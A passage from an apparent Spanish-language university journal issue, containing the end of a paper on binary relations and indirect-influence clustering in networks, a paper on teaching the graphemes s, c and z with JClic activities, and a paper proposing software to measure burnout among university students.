1. La relación de igualdad, $=$, en el conjunto $\mathbb{R}$, pues está claro que si $x \in \mathbb{R}$ y $y \in \mathbb{R}$ y $x = y$, entonces $y = x$.
2. La relación “es hermano de”, del ejemplo 2.6 es simétrica, pues si x es hermano de y , también se cumple que y es hermano de x .

Según la definición, entre cualesquiera pares de vértices relacionados, del dígrafo de una relación simétrica, debe existir dos arcos, uno con cada sentido de orientación, figura 10.

Definición: Una relación binaria R en un conjunto A se dice que es antisimétrica si para toda $x \in A$ y para toda $y \in A$ se tiene que

sí $hx, yi \in R$ y $hy, xi \in R$, entonces $x = y$

Figura 4: Relación binaria.

Ejemplo 2.4.8 las siguientes relaciones son antisimétricas

1. La relación “es menor o igual que”, $\leq$, en el conjunto R .
2. La relación de inclusión “es subconjunto de”, $\subseteq$ en el conjunto potencia de cierto conjunto A .

Así, entre cualquier par de vértices del dígrafo de una relación antisimétrica, puede existir a lo sumo un arco, en alguno de los dos sentidos.

Definición 2.4.9 Una relación binaria R en un conjunto A se dice que es transitiva si para toda $x \in A$, para toda $y \in A$ y para toda $z \in A$ se tiene que

sí $hx, yi \in R$ y $hy, zi \in R$, entonces $hx, zi \in R$

Ejemplo 2.4.10 Son transitivas las siguientes relaciones.

1. La relación $\leq$ en R .
2. La relación $\subseteq$ en un conjunto de conjuntos.
3. La relación $=$ en Z .

En el dígrafo de una relación transitiva, de existir dos arcos, uno dirigido desde un vértice u hacia un vértice v , y otro dirigido desde v hacia cierto vértice w , también tiene que existir un arco dirigido desde u hacia w , figura 11.

Figura 5: Relación binaria.

3. MATERIALES Y MÉTODOS

Algoritmo PWP para influencias indirectas:

El método PWP, introducido por (Díaz, 2009), es un método para determinar influencias indirectas en redes complejas, que depende de una matriz D obtenida de las influencias directas en la red, y de un parámetro positivo λ . Está basado en los siguientes principios:

1. Las influencias indirectas surgen de la concatenación de las influencias directas
2. Las influencias indirectas no surgen de cualquier otra manera.
3. El peso de una concatenación de influencias directas es proporcional al producto del peso de las influencias directas que la componen.
4. Cuanto más larga es la concatenación de influencias directas, menor es la influencia indirecta ejercida por ésta.
5. Influencias directas estocásticas deben generar influencias indirectas estocásticas.
6. Se esperan propiedades de convergencia robustas.

El método está definido a través del siguiente mapping:

$$\text{Wdigraph} \xrightarrow{T} \text{Wdigraph} \text{ o } M_n(\mathbb{R}) \xrightarrow{T} M_n(\mathbb{R})$$

Es decir, una matriz cuadrada de tamaño n a sí misma, donde se puede identificar el peso de los vértices de un grafo dirigido en la matriz de adyacencia una vez que un orden lineal ha sido fijado en sus vértices.

T depende de un parámetro real $\lambda > 0$ y $D \in M_n(\mathbb{R})$, definido como:

$$T(D, \lambda) = \frac{e_+^{\lambda D}}{e_+^\lambda} = \frac{e^{\lambda D} - I}{e^\lambda - 1} = \frac{\sum_{k=1}^{\infty} D^k \frac{\lambda^k}{k!}}{\sum_{k=1}^{\infty} \frac{\lambda^k}{k!}}$$

El método PWP permite realizar un ranking de los nodos de la red a través de las influencias indirectas, utilizando tres métodos:

1. Clasificación por importancia tomando el grado total G .
2. Clasificación por influencias indirectas tomando de grado de salidas F .
3. Clasificación por dependencias indirectas tomado el grado de entradas E .

Cada uno de estos métodos y puede expresar como un mapa:

$$E, F, G: M_n(\mathbb{R}) \rightarrow \text{rankings en } [n]$$

Donde para una matriz D , el lugar de un vértice en el respectivo orden es proporcional a los valores de los mapas.

$$E_i = \sum_{j=1}^n D_{ij}, F_i = \sum_{j=1}^n D_{ji} \text{ y } G_i = \sum_{j=1}^n (D_{ij} + D_{ji})$$

Y utilizando el método PWP tenemos:

$$E_i = \sum_{j=1}^n T_{ij}, F_i = \sum_{j=1}^n T_{ji} \text{ y } I_i = \sum_{j=1}^n (T_{ij} + T_{ji})$$

Método Dual:

Para la aplicación de este método se construye una nueva red dirigida con peso tal que para una red dada (V, E, s, t, w, f) , donde V es el conjunto de nodos, E el conjunto de aristas, $(s, t): E \rightarrow V \times V$ el mapa fuente-objetivo, $f: V \rightarrow \mathbb{R}$ el mapa que proporciona el peso a los nodos y $w: E \rightarrow \mathbb{R}$ el mapa que proporciona el peso a las aristas. Tenemos la nueva red dual $(V^*, E^*, s^*, t^*, w^*, f^*)$, tal que:

- $V^* = E$ y $E^* = \{(e, v, h) \in E \times V \times E / te = v = sh\}$. Para $e \in V^*$ se tiene que $f^*(e) = w(e)$.
- Para $(e, v, h) \in E^*$ se tiene que $(s^*, t^*)(e, v, h) = (e, h)$ y $w^*(e, v, h) = \frac{f(v)}{out(v)in(v)}$, donde $out(v)$ es el grado de salida del nodo v y $in(v)$ el grado de entradas de v .

4. RESULTADOS Y DISCUSIÓN

Aplicando el método de clustering antes descrito, y utilizando el grado de importancia de los nodos de la nueva red dual, se obtiene el ranking de las aristas de la red original, y con éste su clúster, el núcleo y la periferia.

La aplicación del Método Baricéntrico requirió de la construcción de una red de doble peso donde se colocan los nodos y las aristas en el mismo lugar, lo que permite comparar la importancia de los nodos con la importancia de las aristas, y así precisar si una red está dominada por las relaciones o por los actores. Para una red dada (V, E, s, t, w, f) , se construye una nueva red $(V^\circ, E^\circ, s^\circ, t^\circ, w^\circ, f^\circ)$, tal que:

- $V^\circ = V \cup E$ y $E^\circ = \{(v, e) \in V \times E \setminus v = se\} \cup \{(e, v) \in E \times V \setminus te = v\}$
- Para $(v, e) \in E^\circ$ se tiene que $(s^\circ, t^\circ)(v, e) = (v, e) \in V^\circ \times V^\circ$
- Para $(e, v) \in E^\circ$ se tiene que $(s^\circ, t^\circ)(e, v) = (v, e) \in V^\circ \times V^\circ$
- Para (e, v) y $(v, e) \in E^\circ$ se tiene que $w^\circ(v, e) = w^\circ(e, v) = 1$
- Para $v \in V \subseteq V^\circ$ se tiene que $f^\circ(v) = f(v)$. Para $e \in E \subseteq V^\circ$ con $f^\circ(e) = w(e)$

La aplicación de los métodos expuestos está basada en el algoritmo para clustering de Girvan-Newman, el cual utiliza un método para el ranking de las aristas de la red, donde las componentes conectadas en una red dirigida son clases de equivalencia de los nodos bajo una relación de equivalencia generada por la adyacencia entre estos. El algoritmo itera el siguiente procedimiento: calcula el ranking de las aristas, elimina las aristas de más alto rango; el

algoritmo para cuando no existe más enlaces entre los nodos. Es así como utiliza la clasificación en los enlaces dados por el grado de interinidad, es decir, el número de geodésicas (longitud que minimiza las rutas dirigidas) que pasan a través de un enlace determinado. Por eliminación el proceso de deconstrucción revela vínculos de alto nivel entre los clusters. También podemos aplicar los rankings opuestos a los rankings mencionado anteriormente y eliminar los enlaces de menor importancia, por lo tanto se obtiene las estructuras del core-periphery, siendo la periferia los nodos que se aíslan desde el principio de la iteración, y siendo el núcleo los nodos en componentes conectados resistentes, es decir, los que se mantienen conectados al final de la iteración.

5. CONCLUSIONES

El análisis de las relaciones entre conjuntos es de gran importancia en el estudio de los diferentes sistemas en ingeniería, pues esta investigación permite resignificar el fenómeno que se presenta entre sus diferentes componentes, así como realizar predicciones frente a su comportamiento. Además, dichas relaciones se pueden entender y estudiar a partir de su representación gráfica, y las propiedades de la misma. Por otro lado, la representación de los sistemas a través de grafos permite la aplicación de algoritmos para influencias indirectas, los cuales permiten obtener nuevos métodos de agrupamiento y núcleo-periferia de los mismos.

6. RECOMENDACIONES

Aplicar los métodos para clustering y core- periphery en la representación de modelos de sistemas que involucren las relaciones entre conjuntos de objetos del contexto laboral de los estudiantes de ingenierías.

REFERENCIAS BIBLIOGRÁFICAS

- Aimacaña, D. (2013). *Análisis, diseño e implementación de un DATMART*. Quito: Universidad Central del Ecuador.
- Alegsa, A. (2017). *Informática y Tecnología*. Obtenido de http://www.alegsa.com.ar/Dic/aplicacion_web.php
- Apache. (2018). *Apache*. Apache Software Foundation.
- Catumba J. (s/f). Indirect Influences for Graphs, <http://atoms.scilab.org/toolboxes/indinf>.
- Cano, L. y Díaz, R. (2009). Indirect Influences on Directed Manifolds, preprint, arXiv:1507.01017.

Cano, L. y Díaz, R. (2012). Continuous Analogues for the Binomial Coefficients and the Catalan Numbers, preprint, arXiv: arXiv:1602.09132.

Díaz, R. y Gómez, L. (2015). Indirect Influences in International Trade, Netw. Heterog. Media 10 149-165.

Premium. (2015). *Navicat Data Modeler*. Hong Kong: Premium Soft. CyberTech Ltd.

BIOGRAFIA DE AUTORES

Lcdo. Alberto Rodríguez Rodríguez, Ph. D, Doctor en Ciencias Pedagógicas, Magister en Ciencias de la Educación, Licenciado en Educación en Matemática. Docente de la Universidad Estatal del Sur de Manabí.

Lcda. Angelica Rocio Vargas Garay, Especialista en Matemática Aplicada, Licenciada en Matemáticas, Magister en Investigación y Docencia Universitaria con énfasis en Matemáticas, Docente de Matemáticas del Politécnico Internacional, Bogotá- Colombia.

Ing. Holger Benny Delgado Lucas, Ingeniero en Sistemas Computacionales, Analistas de Sistemas, Magister en Docencia e Investigación Educativa, Magister en Tecnologías de la Información y la Comunicación. Actualmente Decano de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí.

EL APRENDIZAJE DE LOS GRAFEMAS S, C, Z, A TRAVÉS DE PROGRAMAS COMPUTACIONALES

Lcda. Kirenia Maldonado Zuñiga. Mg.

Ing. Dunia Lisbeth Domínguez Gálvez.

Lcda. Yaillet Uriarte Espinoza. Mg.

Lcda. Ramona Monserrate Vélez Mejía. Mg.

Lcda. Angela Andrea Cevallos Veloz. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

kmzmaldonado@gmail.com

RESUMEN

La escritura es el sistema de comunicación humana por excelencia más allá de la palabra, es decir, del lenguaje verbal, por lo que es un elemento esencial la correcta aplicación de las reglas ortográficas para el desarrollo de la lengua. La investigación consiste en solucionar el siguiente problema: ¿Cómo favorecer el uso correcto de los grafemas (s, c, z), a través de programas computacionales? El objetivo fue crear actividades didácticas interactivas con programas computacionales de acuerdo a las necesidades de los estudiantes. La importancia de estas actividades propuesta y elaborada a partir de los tres niveles de desempeño cognitivo favoreció el desarrollo de habilidades ortográficas para el uso correcto de los grafemas que se investigan. El estudio realizado constituyó un aporte que brindó conocimientos teóricos, prácticos y pedagógicos, permitiendo que los docentes en sus preparaciones metodológicas y en sus clases introduzcan actividades didácticas para darle solución a la problemática. Se utilizaron métodos de investigación tales como: análisis – síntesis, histórico – lógico, inducción – deducción, encuestas entre otros. Los resultados demostraron que el uso de las actividades didácticas interactivas favoreció el desarrollo de habilidades ortográficas en el uso correcto de los grafemas, mediante programas computacionales (Jclíc) en el proceso de enseñanza – aprendizaje de la asignatura lengua. Se concluyó con los cambios favorables que se evidenciaron en los estudiantes al utilizar las actividades en las clases, estas se hicieron más dinámicas e interactivas, con el uso de la computadora aumento significativamente la habilidad, la motivación y el interés de los estudiantes dándoles el conocimiento adecuado.

PALABRAS CLAVE: actividades didácticas, grafemas, ortografía, tecnología.

ABSTRACT

Word, that is, the verbal language, so that the correct application of the orthographic rules for the development of the language is an essential element. The investigation consists of solving the following problem: How to favor the correct use of graphemes (s, c, z), with computer programs? The objective was to create interactive didactic activities with computer programs according to the needs of the students. The importance of these activities proposed and elaborated from the three levels of cognitive performance favored the development of spelling skills for the correct use of the graphemes that are investigated. The study was a contribution that provided theoretical, practical and pedagogical knowledge, allowing teachers in their methodological preparations and in their classes to introduce didactic activities to solve the problem. We used research methods such as: analysis - synthesis, historical - logical, induction - deduction, surveys among others. The results showed that the use of interactive didactic activities favored the development of spelling skills in the correct use of graphemes, through computer programs (Jclíc) in the teaching - learning process of the subject language. It was concluded with the favorable changes that were evidenced in the students when using the activities in their classes, these became more dynamic and interactive, with the use of the computer significantly increasing the skill, motivation and interest of the students giving them the knowledge suitable.

KEYWORDS: didactic activities, graphemes, spelling, technology.

1. INTRODUCCIÓN

En la actualidad el uso de la computadora como medio de enseñanza-aprendizaje, cumple un papel importante en la educación, garantiza la preparación de los estudiantes, adquiere habilidades informáticas, es una herramienta que favorece al aprendizaje en las clases de diferentes asignaturas, en particular en las clases de lengua la práctica e interacción motiva a los estudiantes y les facilita el estudio de los grafemas (s, c, z), es evidente que los estudiantes mientras interactúan con las computadoras adquieren conocimientos y habilidades, además propician una motivación el cual es bien aprovechada para que los estudiantes fijen los conocimientos, teniendo resultados favorables. El programa Jclíc es una aplicación de software libre desarrollada en la plataforma Java, que funciona en distintos sistemas operativos, su importancia radica en que es un material que permite la creación, evaluación y realización de actividades educativas interactivas, proporcionando así el auto aprendizaje. Las actividades con esta herramienta son diversas, por ejemplo, rompecabezas, juegos de memorias, asociaciones,

ejercicios de texto entre otras y pueden contener texto, gráficos, sonidos y otros recursos multimedia. También es posible encadenar grupos de actividades en paquetes para que se realicen secuencialmente. La nueva versión JClic es de código abierto y multiplataforma, logrando la integración total a la comunidad del software libre. Es válida para todos los niveles educativos por lo cual es capaz de propiciar la motivación para que los estudiantes sean innovadores. Las actividades creadas y la metodología utilizada permiten al estudiante el conocimiento en los grafemas (s, c, z), en la asignatura de lengua, también adquiere habilidades informáticas.

La correcta aplicación de las reglas ortográficas es un elemento esencial para el desarrollo y enriquecimiento de lengua, favorecer el uso correcto de los grafemas (s, c, z), permite una sociedad instruida.

Todo indica que los grafemas (s, c, z), son las letras más complicadas en cuanto a la escritura de las palabras, por lo que una práctica profunda en torno a ellas, vendría a brindar estrategias para superar, las dificultades que en este sentido se presentan en la ortografía.

Los grafemas (s, c, z), son calificados por una gran cantidad de estudiantes como complicados o dificultosos. Aunque todos reconocen su importancia y la satisfacción de usarlos correctamente. Por eso las unidades educativas deben asumir la enseñanza de la ortografía de manera dinámica e integradora y así preservar el lugar que ocupa ésta dentro de las demás materias. Sobre este tema se ha trabajado, pero aún existen dificultades que hacen que los docentes continúen buscando procedimientos y métodos para su solución.

Existen varias investigaciones y aportes que benefician el aprendizaje de los grafemas (s, c, z), en la asignatura lengua es necesidad por parte de docentes y estudiantes de promover una enseñanza - aprendizaje interactivo y práctico.

Es preciso realizar un cambio efectivo que permita un mayor aprendizaje de los grafemas mencionados, lo cual permitirá tomar acciones y corregir los posibles errores, con el objetivo de lograr un enfoque de la situación actual de la enseñanza y aprendizaje en la educación, se aplicó una encuesta dirigido a estudiantes y docentes, protagonistas del proceso.

El aprendizaje de los grafemas se desarrolla con el conocimiento y las habilidades en la práctica. Para lograr un aprendizaje significativo es necesario aportar actividades didácticas y que estas sean utilizadas en los diferentes cursos, de manera que conozcan bien la parte teórica y ayuden a cimentar el conocimiento con las habilidades y la práctica. Es notablemente que la

motivación de los estudiantes aumenta hacia el aprendizaje de lengua, los cambios son positivos.

La importancia de una correcta aplicación de las reglas ortográficas es un elemento esencial para el desarrollo de la lengua. El objetivo es crear actividades didácticas interactivas con el programa computacional Jellic de acuerdo a las necesidades de los estudiantes para favorecer el desarrollo de las habilidades ortográficas para el uso correcto de los grafemas (s,c,z) que se investigan.

Es necesario que las unidades educativas los colegio, las escuelas, y las universidades trabajen tenazmente para resolver los diversos problemas que se presentan y lograr que los estudiantes y profesores tengan una escritura correcta.

2. MATERIALES Y MÉTODOS

Se utilizaron métodos de la investigación científica tales como:

Del nivel teórico:

Análisis – síntesis: se utilizó para determinar el uso de las tecnologías en las clases de lengua.

Histórico – lógico: se usó en la construcción de la investigación con énfasis en la búsqueda de los antecedentes.

Inducción – deducción: se empleó en la investigación, en el análisis del aprendizaje de los grafemas (s, c, z), su metodología y procedimiento.

Del nivel Empírico:

Encuestas: para analizar y determinar los errores más comunes que los estudiantes cometen al escribir palabras con los grafemas (s, c, z).

Observación: permitió investigar y analizar la mayor cantidad de información, dando las pautas necesarias para el desarrollo de las actividades didácticas interactivas.

Revisión bibliográfica: Se utilizó en la recopilación de la información para la elaboración de la investigación, mediante libros, revistas científicas, artículo, entre otros.

Del nivel Estadístico – Matemático: permitió analizar los datos estadísticos reales en base a los resultados de cada cuestionario realizado a cada persona que participo.

La población objeto de estudio se constituyó por los estudiantes de nivelación de la Universidad Estatal del Sur de Manabí. Con una muestra de 90 estudiantes. Se elaboró un cuestionario para evaluar diferentes aspectos, el uso de los grafemas (s, c, z), la motivación de los estudiantes y la utilización de la computadora en el proceso de enseñanza y aprendizaje.

El cuestionario constó de 10 ítems, se evidenció que los aspectos a evaluar: escritura de los grafemas investigados, interacción de los estudiantes con la computadora y la motivación por la utilización de las actividades didácticas interactivas en las clases de lengua.

Se realizó un análisis de los resultados del cuestionario para detectar los errores más comunes de los estudiantes a la hora de usar los grafemas (s, c, z). Resaltando que la mayoría de los estudiantes les gusta y les motiva el uso de la computadora en las clases, los docentes expresaron la misma similitud, precisando que sus clases de lengua son más dinámicas e interactivas con el uso de la computadora.

3. RESULTADOS Y DISCUSIÓN

Los resultados alcanzados en la investigación manifestaron los cambios significativos en el aprendizaje de los estudiantes al utilizar las actividades didácticas interactivas, en el proceso de enseñanza-aprendizaje, mejorando notablemente la habilidad en los grafemas (s, c, z), su motivación e interés aumentaron. La validación del cuestionario para medir la motivación de los estudiantes y el uso de las computadoras en las clases de lengua permitió identificar que el 58% de los estudiantes la consideran útil, mientras que el 42% no.

Después de utilizar las actividades didácticas interactivas en las clases de lengua en varias ocasiones, se realizó una encuesta donde se comprobó, que el 92% de los estudiantes afirmaron la importancia de utilizar estas actividades didácticas en sus clases, la práctica les proporciono la habilidad y el conocimiento respecto a los grafemas y el 8% declaro que aún tienen dificultades para el aprendizaje de los grafemas (s, c, z).

4. CONCLUSIONES

Las actividades didácticas interactivas favorecieron el desarrollo de habilidades ortográficas en el uso correcto de los grafemas (s, c, z), mediante el programa (Jclic) en el proceso de enseñanza – aprendizaje de la asignatura lengua. Las actividades permitieron a los docentes motivar las clases de lengua y favorecer en los estudiantes la escritura y pronunciación de las palabras que usan los grafemas (s, c, z), no solo en la asignatura de lengua, si no en el resto de las asignaturas. Los docentes perfeccionaron el desarrollo de sus clases con la utilización de las actividades

didácticas interactivas, para obtener la mayor efectividad con el uso de las actividades, los docentes tuvieron en cuenta las características de sus estudiantes. Utilizaron las actividades didácticas interactivas como apoyo a la asignatura lengua.

REFERENCIAS BIBLIOGRÁFICAS

- Álvarez Rodríguez, A. (1983): Ortografía española. Práctica y fundamento. Editorial Coloquio, Madrid.
- Camps, A. et al. (2004), La Enseñanza de la Ortografía. Editorial Grao (3ª ed.), Barcelona.
- Carratalá Teruel, F. (1991): La ortografía y su didáctica en los primeros niveles de escolarización. Universidad de Murcia, Murcia.
- Esteve Serrano, A. (1982): Estudios de teoría ortográfica del español. Publicaciones del Departamento de Lingüística General y Crítica Literaria de la Universidad de Murcia, Murcia.
- Gómez Torrego, L. (2008): Ortografía práctica del español. Espasa- Calpe, Madrid.
- Martínez, J. A. (2004): Escribir sin faltas de ortografía. Universidad de Oviedo, Oviedo.
- Martínez de Sousa, J. (1991): Reforma de la ortografía española. Visor Libros. Biblioteca Gráfica de la Lengua Española (BIGLE), núm. 2, Madrid.
- Real Academia Española, (2010): Ortografía de la lengua española, (en prensa), coordinada por Salvador Gutiérrez Ordóñez, Madrid.

BIOGRAFÍA DE AUTORES

Kirenia Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

Dunia Lisbeth Domínguez Gálvez, Ingeniera en Procesos Agroindustriales, Universidad Oscar Lucero Moya, Holguín Cuba.

Yaillet Uriarte Espinoza, Máster en Ciencias de la Educación, Licenciada en Lengua y Literatura, Universidad de Ciencias Pedagógicas, Granma Cuba.

Ramona Monserrate Vélez Mejía, Máster en Educación y Desarrollo Social, Licenciada en Ciencias de la Educación, Universidad Tecnológica Equinoccial, Quito Ecuador.

Angela Andrea Cevallos Veloz, Máster en enseñanzas de Idioma Inglés, Licenciada en Ciencias de la Educación, Universidad Técnica de Manabí. Ecuador.

APLICACIÓN INFORMÁTICA PARA COMPROBAR LA INCIDENCIA DEL BORNOUT EN ESTUDIANTES UNIVERSITARIOS

Ing. Franklin Jhimmy Toala Arias. Mg.

Ing. Raúl Clemente Murillo. Mg.

Ing. Enrique Javier Macías Arias. Mg.

Ing. José Efraín Alava Cruzatty. Mg.

Ing. Odre Eduardo Gruezo Nazareno. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

nauel4@gmail.com

RESUMEN

Quizás para muchas personas el síndrome de Bornuot es un tema nuevo, pero en realidad esta enfermedad psicológica se encuentra comúnmente viviendo entre nosotros, se han realizado estudios en trabajadores y profesionales de diferentes ramas, pero muy poco en estudiantes, este trabajo se realizó con el objetivo de mostrar al mundo que ellos también lo padecen, provocando bajo rendimiento académico, cinismo estudiantil y deserción, además se propone utilizar aplicaciones informáticas que contribuyan con un estudio más riguroso en la obtención de resultados lo que permite conocer que cantidad de estudiantes padecen esta enfermedad, en una encuesta realizada a estudiantes de la carrera de Tecnología de la información y comunicación, se comprobó que en la población estudiantil existe un porcentaje alto con síntomas del Bornuot y no tienen tratamiento alguno.

PALABRAS CLAVE: aplicaciones informáticas, Bornuot, enfermedad, psicológica,

ABSTRACT

Perhaps for many people the syndrome of Bornuot is a new issue, but in reality this psychological illness is commonly found living among us, studies have been carried out in workers and professionals of different branches, but very little in students, this work was carried out with the aim to show the world that they also suffer from it, causing low academic performance, student cynicism and desertion, in addition it is proposed to use computer applications that contribute to a more rigorous study in the obtaining of results what allows to know how many students suffer from this disease , in a survey conducted to students of the career of Information and Communication Technology, it was found that in the student population there is a high percentage with symptoms of Bornuot and they do not have any treatment.

KEYWORDS: Bornuot, computer applications, disease, psychological,

1. INTRODUCCION

El síndrome de Burnout nació mediante la observación experimental que realizó Freudenberg (1974) a un grupo de personas toxicomaníacas al igual que otros jóvenes, que al cabo de un periodo de tiempo entre uno a tres años, la mayoría sufría de una pérdida progresiva de energía, desmotivación, falta de todo interés por el trabajo hasta llegar al agotamiento, juntos con varios síntomas de ansiedad y de depresión (Carlin & Garcés de los Fayos Ruiz, 2010). Lo que permitió conocer la existencia de síntomas más fuerte que el estrés, hoy en día muchas personas lo padecen, pensando que es estrés, sin tener una prescripción médica que le diagnostique como el Bornout y proceda a un tratamiento profesional

En todas las instituciones educativas al hablar de deserción estudiantil, solo investigan en común los mismos indicadores: la pobreza, el trabajo, problemas familiares y problemas de drogas, lo que evoca a que el estudiante abandone sus estudios. Pero son muy pocas las investigaciones del Síndrome de Bornout como causa de la deserción estudiantil, mucho más en la universitaria.

En las pocas investigaciones dadas por diferentes universidades sobre el Síndrome de Bornout se han detectado resultados alarmantes, mucho más en los estudiantes de niveles superiores que se encuentran saturados, deprimidos, agotados y con poca relación personal, que ya desean salir a como dé lugar de las diversas carreras que ellos cursan.

El equipo de prevención psicosocial de la universidad de Jaume I de Castellón realizó un análisis en estudiantes de diferentes carreras profesionales: Los alumnos que estudian Leyes y ciencias Administrativas y Económicas son, según el informe, los que muestran un nivel elevado de cinismo y poca estimulación académica, felicidad y satisfacción respecto a la especialidad que están cursando. En las carreras de Humanística y Ciencias Sociales, cuentan con mejor bienestar psicológico y rendimiento académico, en las variables primordiales empleadas en la investigación, En un nivel intermedio se encontraron a los estudiantes que optaron por la rama de Ciencias Experimentales (Química, Ingeniería Industrial, Informática...). En su caso, el nivel de agotamiento emocional es muy alto, pero, sin embargo, están más satisfechos con los estudios que eligieron y la propia universidad.

El objetivo principal de esta investigación es dar a conocer como las aplicaciones informáticas ayudan a comprobar la incidencia del síndrome de Bornout en los estudiantes universitarios y como los perjudica en el desarrollo académico.

2. DESARROLLO

Hipótesis

Las aplicaciones informáticas comprueban la incidencia del Bornout en estudiantes universitarios

Descripción

El avance tecnológico en la actualidad interviene en todos los campos de la ciencia y la vida cotidiana, se han realizado aplicaciones informáticas utilizando dispositivos tecnológicos, para obtener resultados confiables en diferentes especialidades, así como la medicina, psicología, etc. Llevando registros, estadísticas, entre otros programas.

Existen diversos tipos de lenguajes de programación que permiten la creación de una aplicación informática de manera amigable por ejemplo la plataforma visual estudio, que, esta integrada de diferentes lenguajes de programación como es el Visual Basic, con el que se puede construir un programa que permita conocer que cantidad de estudiantes de la Universidad Estatal del Sur de Manabí padecen del Síndrome de Bornout.

Pero además de un lenguaje de programación se necesitaría de una base de datos donde se almacenarán los registros, para poderlos manipular de manera técnica, y obtener los resultados que permitan tomar decisiones, entre las bases de datos que se utilizaría sería MySQL, que es una base de datos de código abierto, prestando las facilidades para manipular los datos mediante el lenguaje estructurado SQL.

Para construir una aplicación que permita conocer si los estudiantes de la Universidad Estatal del Sur de Manabí padecen del Síndrome de Bornout, con la guía del inventario de Maslach y Jackson se construyen los ítems para realizar el test que permitirán obtener los datos requeridos estos se pueden observar en la tabla 1.

Tabla 1 Escala unidimensional del Bonout Estudiantil

Ítems	Nunca	Algunas Veces	Casi Siempre	Siempre
-------	-------	---------------	--------------	---------

Mis problemas escolares me deprimen fácilmente				
El tener que asistir diariamente a clases me cansa				
Mis problemas universitarios me deprimen fácilmente				
Durante las clases me siento somnoliento				
Creo que estudiar hace que me sienta agotado				
Cada vez me es más difícil concentrarme en las clases				
Me desilusionan mis estudios				
Antes de terminar mi horario de clases ya me siento cansado				
No me interesa asistir a clases				
Cada vez me cuesta más trabajo ponerle atención al maestro				
El asistir a clases se me hace aburrido				
Siento que estudiar me está desgastando físicamente				
Cada vez me siento más frustrado por ir a la escuela				
No creo terminar con éxito mis estudios				
Siento que tengo más problemas para recordar lo que estudio				
Creo que estudiar me está desgastando emocionalmente				
No me gusta la carrera que estudio				

Fuente: (Barraza, Burnout estudiantil: un enfoque unidimensional, 2008)

3. MATERIALES Y METODOS

Para obtener los resultados del inventario se consideró utilizar la r de Pearson, $r > 70\%$ cuya prueba se considera que debe estar contestado en un 70% para que tenga validez, ósea que se debe responder 10 preguntas caso contrario se anularía el instrumento.

Para interpretar los resultados se tomó como instrumento el baremo establecido, que se realizó de la siguiente manera:

- A las diferentes opciones se les ubicaron los siguientes valores:
 - Nunca = 1
 - Algunas veces = 2
 - Casi siempre = 3
 - Siempre 4
- Se obtuvo la media en cada ítem y se obtuvo la media general de toda la escala
- Se transformó la media general en porcentaje; esto se puede realizar a través de regla de tres simple o multiplicando la media obtenida por 25.
- Una vez obtenido el porcentaje se interpretó el siguiente baremo:

Tabla 2 Baremo para determinar el nivel del Bornout

Nivel	Frecuencia
No presenta	0 a 25%
Leve	26% a 50 %
Moderado	51% a 75%
Profundo	76% a 100%

Fuente: (Barraza, Burnout estudiantil: un enfoque unidimensional, 2008)

Como se puede observar las técnicas estadísticas que se utilizan son muy importante para obtener resultados confiables del Bornout, por lo tanto, este algoritmo debe ser programado en el lenguaje de programación, para obtener resultados automáticos y fiables.

Con un sistema informático se podrá detectar de manera general a los estudiantes que padecen del síndrome de Bornout, y por medio del departamento de Bienestar Estudiantil, apoyarlos con el tratamiento psicológico, que necesitan para recuperarse de esta enfermedad que los afecta en todos los ámbitos educativos.

Este tratamiento se puede realizar en tres fases, claro dependiendo del Psicólogo:

- Primera fase. – consiste en entender el Síndrome Bornout y detectar los síntomas
- Segunda fase. - en esta fase es cuando comienza el tratamiento junto con el terapeuta observando actividades que muestran menos estrés.

- Tercera fase. – aquí se aplica los nuevos hábitos adquirido.

Pero estos tratamientos también se lo pueden realizar con una aplicación informática y en línea, donde el psicólogo puede monitorear las actividades terapéuticas recomendadas, mediante el programa.

4. RESULTADOS Y DISCUSIÓN

Esta investigación se realizó 165 estudiantes comprendidos en el segundo y tercer semestre de la carrera de Tecnología de la información y comunicación de la UNESUM, donde se comprobó el estado psicológico de cada uno de ellos.

Tabla 3 Resultados de las dimensiones

Dimensiones	Frecuencia	Porcentaje
Cansancio emocional	78	47.27
Despersonalización	34	20.61
Realización Personal	53	32.12
Total	165	100%

Fuente: Estudiantes de la Carrera de Tecnología de la Información y Comunicación

Realizado por: Autores de la investigación

Gráfica 1 Dimensiones del Bornout

Se observa en el grafico No. 1 que el 47.21% de los estudiantes tienen cansancio emocional, lo que indica que se encuentran agotados por las exigencias en las actividades educativas además de las personales y laborales, implica que ya están exhausto de las tareas académicas mezcladas con las reclamaciones del hogar y del trabajo, sienten que quieren explotar que están totalmente bloqueados en conocimientos y no pueden resolver las tareas escolares, lo que provoca bajo rendimiento académico.

El 20.61% de los estudiantes tienen un nivel de despersonalización elevado, lo que provoca que se aparte de sus compañeros y amigos de clases, quiere estar solo, siempre anda de malgenio explota con la más mínima exigencia, se pone cínico, no quiere interactuar con nadie, se activa la autodefensa pensando que lo están atacando, en muchas ocasiones mostrándose menos agradable con los demás, causas que involucran el bajo rendimiento y deserción académicos.

También se tiene un alto porcentaje en la realización personal un 32.12% de estudiantes comienza a cuestionar su vocación, que ya no dan más, que esta carrera no fue la que escogió, se encuentra confundido, se estanca en conseguir su objetivo, ósea esta es la causa donde el joven totalmente abandona los estudios.

5. CONCLUSIONES

Al conocer los resultados se colige que los estudiantes de la Universidad Estatal del Sur de Manabí tienen síntomas del Síndrome de Bornout, y que los porcentajes son altos, lo que ha producido desmotivación en las aulas, y que el proceso de enseñanza aprendizaje sean monótonos para ellos, porque no tienen el incentivo para investigar o prepararse para una exposición, le da lo mismo, aprender o no. Se observo que no se ha realizado estudios sobre este problema Psicológico clínico, en estudiantes y docentes.

6. RECOMENDACIONES

Realizar una aplicación informática web para conocer qué porcentaje de estudiantes, docentes y trabajadores de la Universidad Estatal del Sur de Manabí, sufre del Síndrome de Bornout, y el departamento de Bienestar Estudiantil conjuntamente con las autoridades tome las precauciones necesarias para combatirla con el tratamiento adecuado.

REFERENCIAS BIBLIOGRÁFICAS

- anonimo. (septiembre de 2011). *consumidor*. Obtenido de <https://www.consumidor.ftc.gov/articulos/s0018-aplicaciones-moviles-que-son-y-como-funcionan>
- APP's, S. y. (12 de diciembre de 2012). *museo informatica*. Obtenido de <https://histinf.blogs.upv.es/2012/12/14/android/>
- Barraza, M. A. (2008). Burnout estudiantil: un enfoque unidimensional. *Psicología Educativa*, 15.
